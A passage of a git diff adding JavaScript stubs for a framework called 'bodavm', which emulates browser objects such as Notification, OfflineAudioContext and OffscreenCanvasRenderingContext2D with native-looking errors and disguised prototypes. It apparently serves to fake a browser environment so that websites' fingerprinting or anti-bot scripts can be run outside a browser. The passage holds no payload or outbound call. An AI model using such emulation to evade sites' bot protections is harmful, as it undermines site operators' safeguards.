{configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "data_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "actions", {configurable:true, enumerable:true, get:function actions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "actions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Notification', "image", {configurable:true, enumerable:true, get:function image (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Notification'].prototype, "Notification", "image_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/OfflineAudioContext.js b/env_xbb_lastest_jsdom/env copy/OfflineAudioContext.js new file mode 100644 index 00000000..6549cc47 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/OfflineAudioContext.js @@ -0,0 +1,18 @@ + +// OfflineAudioContext对象 +bodavm.memory.globalobj['OfflineAudioContext'] = function OfflineAudioContext(){ + if (!(this instanceof OfflineAudioContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioContext': 1 argument required, but only 0 present.")} + + } +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioContext'], "OfflineAudioContext"); +bodavm.memory.globalobj['OfflineAudioContext'].prototype.__proto__=bodavm.memory.globalobj['BaseAudioContext'].prototype; +bodavm.memory.globalobj['OfflineAudioContext'].__proto__=bodavm.memory.globalobj['BaseAudioContext']; +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "oncomplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "resume", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "startRendering", {configurable:true, enumerable:true, writable:true, value:function startRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "startRendering", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OfflineAudioContext', "suspend", {configurable:true, enumerable:true, writable:true, value:function suspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioContext'].prototype, "OfflineAudioContext", "suspend", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/OffscreenCanvasRenderingContext2D.js b/env_xbb_lastest_jsdom/env copy/OffscreenCanvasRenderingContext2D.js new file mode 100644 index 00000000..a729a03a --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/OffscreenCanvasRenderingContext2D.js @@ -0,0 +1,73 @@ +// OffscreenCanvasRenderingContext2D对象 +bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'] = function OffscreenCanvasRenderingContext2D(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'], "OffscreenCanvasRenderingContext2D"); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_get", arguments)}, set:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clip", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fill", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "measureText", {configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "measureText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "reset", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "save", {configurable:true, enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "save", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "scale", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "stroke", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "transform", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "translate", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arc", {configurable:true, enumerable:true, writable:true, value:function arc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arc", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "arcTo", {configurable:true, enumerable:true, writable:true, value:function arcTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "arcTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "beginPath", {configurable:true, enumerable:true, writable:true, value:function beginPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "beginPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "bezierCurveTo", {configurable:true, enumerable:true, writable:true, value:function bezierCurveTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "bezierCurveTo", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clearRect", {configurable:true, enumerable:true, writable:true, value:function clearRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clearRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "closePath", {configurable:true, enumerable:true, writable:true, value:function closePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "closePath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "ellipse", {configurable:true, enumerable:true, writable:true, value:function ellipse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "ellipse", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillRect", {configurable:true, enumerable:true, writable:true, value:function fillRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillRect", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineTo", {configurable:true, 